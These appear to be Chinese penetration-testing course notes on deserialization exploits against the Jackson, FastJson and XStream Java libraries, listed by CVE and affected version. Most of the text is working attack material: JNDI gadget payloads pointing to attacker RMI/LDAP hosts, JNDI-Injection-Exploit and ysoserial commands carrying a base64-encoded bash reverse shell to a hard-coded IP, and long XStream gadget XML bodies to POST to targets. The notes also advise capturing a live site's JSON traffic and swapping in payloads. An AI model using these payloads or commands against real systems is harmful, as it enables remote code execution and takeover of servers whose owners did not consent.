083-服务攻防-J2EE组件&fastjson&jackson&xstream等项目
知识点
1、J2EE-组件Jackson-本地demo&CVE(数据处理)
2、J2EE-组件FastJson-本地demo&CVE(数据处理)
3、J2EE-组件XStream-本地demo&CVE(数据处理)
章节点:
1、目标判断-端口扫描&组合判断&信息来源
2、安全问题-配置不当&CVE漏洞&弱口令爆破
3、复现对象-数据库&中间件&开发框架&应用协议
黑盒检测:Java应用 请求参数数据以json/xml格式发送测试
黑盒判断:通过提交数据报错信息得到什么组件
xml格式(xstream) 或 json 格式(fastjson jackson)
白盒审计:直接看引用组件版本
一、演示案例-J2EE-组件Jackson-本地demo&CVE
当下流行的json解释器,主要负责处理Json的序列化和反序列化。
代码执行 (CVE-2020-8840)
1、使用到的jackson
2、使用jackson去解析json数据
3、json数据可控的(攻击去替换json数据 payload进行jndi注入)
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| String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
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1
| java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 1.92.144.175
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在黑盒情况下:抓包网站的包发现一些数据是json格式发送的这个时候将json替换为pyload发送,发过去有接受返回就代表有漏洞
代码执行 (CVE-2020-35728)
影响版本
FasterXML jackson-databind 2.x < 2.9.10.8
payload:
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| String payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"rmi://47.94.236.117:1099/gtaafz\"}]";
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二、演示案例-J2EE-组件FastJson-本地demo&CVE
阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
重点就是:不同版本的fastjson,不同的poc
利用POC项目:
GitHub - kezibei/fastjson_payload(该项目是针对不同环境的)
FastJson <= 1.2.24
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| String payload = "{\r\n" + " \"a\": {\r\n" + " \"@type\": \"java.lang.Class\", \r\n" + " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\r\n" + " }, \r\n" + " \"b\": {\r\n" + " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r\n" + " \"dataSourceName\": \"rmi://47.94.236.117:1099/ccbht1\", \r\n" + " \"autoCommit\": true\r\n" + " }\r\n" + "}";
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FastJson <= 1.2.47
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| {
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}
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FastJson <= 1.2.80 (利用条件比较苛刻)
利用poc只能用源码项目中调用的第三方库或者组件(类)等
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| String poc1 = "{\n" + " \"@type\":\"java.lang.Exception\",\n" + " \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" + " \"unit\":{}\n" + "}"; String poc2 = "{\n" + " \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" + " \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" + " \"config\":{\n" + " \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" + " \"classpathList\":\"http://192.168.1.4:82/attack-1.jar\"\n" + " }\n" + "}";
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在实战中,获取目标项目源码后看下调用的第三方库或者组件有哪些,然后在利用poc项目去找对应的POC去测试看看(机会不大)




三、演示案例-J2EE-组件XStream-靶场&CVE
开源Java类库,能将对象序列化成XML或XML反序列化为对象
代码执行 (CVE-2021-21351)
影响版本:
Xstream<=1.4.15
1、生成反弹Shell的JNDI注入
1
| java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjkyLjE0NC4xNzUvOTkwMCAwPiYx}|{base64,-d}|{bash,-i}" -A 1.92.144.175
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2、构造JNDI注入Payload以POST方式提交
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| <sorted-set> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'> <m__DTMXRTreeFrag> <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'> <m__size>-10086</m__size> <m__mgrDefault> <__overrideDefaultParser>false</__overrideDefaultParser> <m__incremental>false</m__incremental> <m__source__location>false</m__source__location> <m__dtms> <null/> </m__dtms> <m__defaultHandler/> </m__mgrDefault> <m__shouldStripWS>false</m__shouldStripWS> <m__indexing>false</m__indexing> <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'> <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>rmi://evil-ip:1099/example</dataSource> <listeners/> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default/> </com.sun.rowset.JdbcRowSetImpl> </fPullParserConfig> <fConfigSetInput> <class>com.sun.rowset.JdbcRowSetImpl</class> <name>setAutoCommit</name> <parameter-types> <class>boolean</class> </parameter-types> </fConfigSetInput> <fConfigParse reference='../fConfigSetInput'/> <fParseInProgress>false</fParseInProgress> </m__incrementalSAXSource> <m__walker> <nextIsRaw>false</nextIsRaw> </m__walker> <m__endDocumentOccured>false</m__endDocumentOccured> <m__idAttributes/> <m__textPendingStart>-1</m__textPendingStart> <m__useSourceLocationProperty>false</m__useSourceLocationProperty> <m__pastFirstElement>false</m__pastFirstElement> </m__dtm> <m__dtmIdentity>1</m__dtmIdentity> </m__DTMXRTreeFrag> <m__dtmRoot>1</m__dtmRoot> <m__allowRelease>false</m__allowRelease> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>test</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> </sorted-set>
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代码执行 (CVE-2021-29505)
影响版本
XStream <= 1.4.16
1、生成反弹Shell的反序列化JNDI注入
1
| java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjkyLjE0NC4xNzUvOTkwMCAwPiYx}|{base64,-d}|{bash,-i}"
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2、构造反序列化JNDI注入Payload以POST方式提交
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| <java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> <parsedMessage>true</parsedMessage> <soapVersion>SOAP_11</soapVersion> <bodyParts/> <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <attachmentsInitialized>false</attachmentsInitialized> <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'> <names> <string>aa</string> <string>aa</string> </names> <ctx> <environment/> <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'> <java.rmi.server.RemoteObject> <string>UnicastRef</string> <string>evil-ip</string> <int>1099</int> <long>0</long> <int>0</int> <long>0</long> <short>0</short> <boolean>false</boolean> </java.rmi.server.RemoteObject> </registry> <host>evil-ip</host> <port>1099</port> </ctx> </candidates> </aliases> </nullIter> </sm> </message> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue> </java.util.PriorityQueue>
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